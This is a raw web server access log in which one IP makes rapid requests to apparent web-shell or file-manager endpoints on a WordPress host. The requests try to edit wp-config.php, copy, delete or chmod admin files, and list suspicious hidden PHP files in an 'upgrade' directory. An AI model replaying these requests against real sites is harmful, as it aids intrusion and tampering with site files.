45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 7061 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7815 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 6894 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2F.244961129106187.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 7426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /thoms.php?edit=wp-trackback.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2F.854077255588723.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 7434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 33972 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 7139 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 47737 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 6855 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6893 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 31495 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5823 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7995 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2F.165545544391440.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 7439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 28836 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 47022 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F HTTP/1.1" 200 6816 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /biotaiwan.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6892 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /thoms.php?edit=wp-signup.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?edit=wp-config.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?dl=export.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=export.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fimport.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fimport.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-delete-site.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-delete-site.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?del=media.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?dl=theme-install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?chmod=revision.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?chmod=about.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-connectors.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-connectors.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?chmod=ms-themes.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fpost-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fpost-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
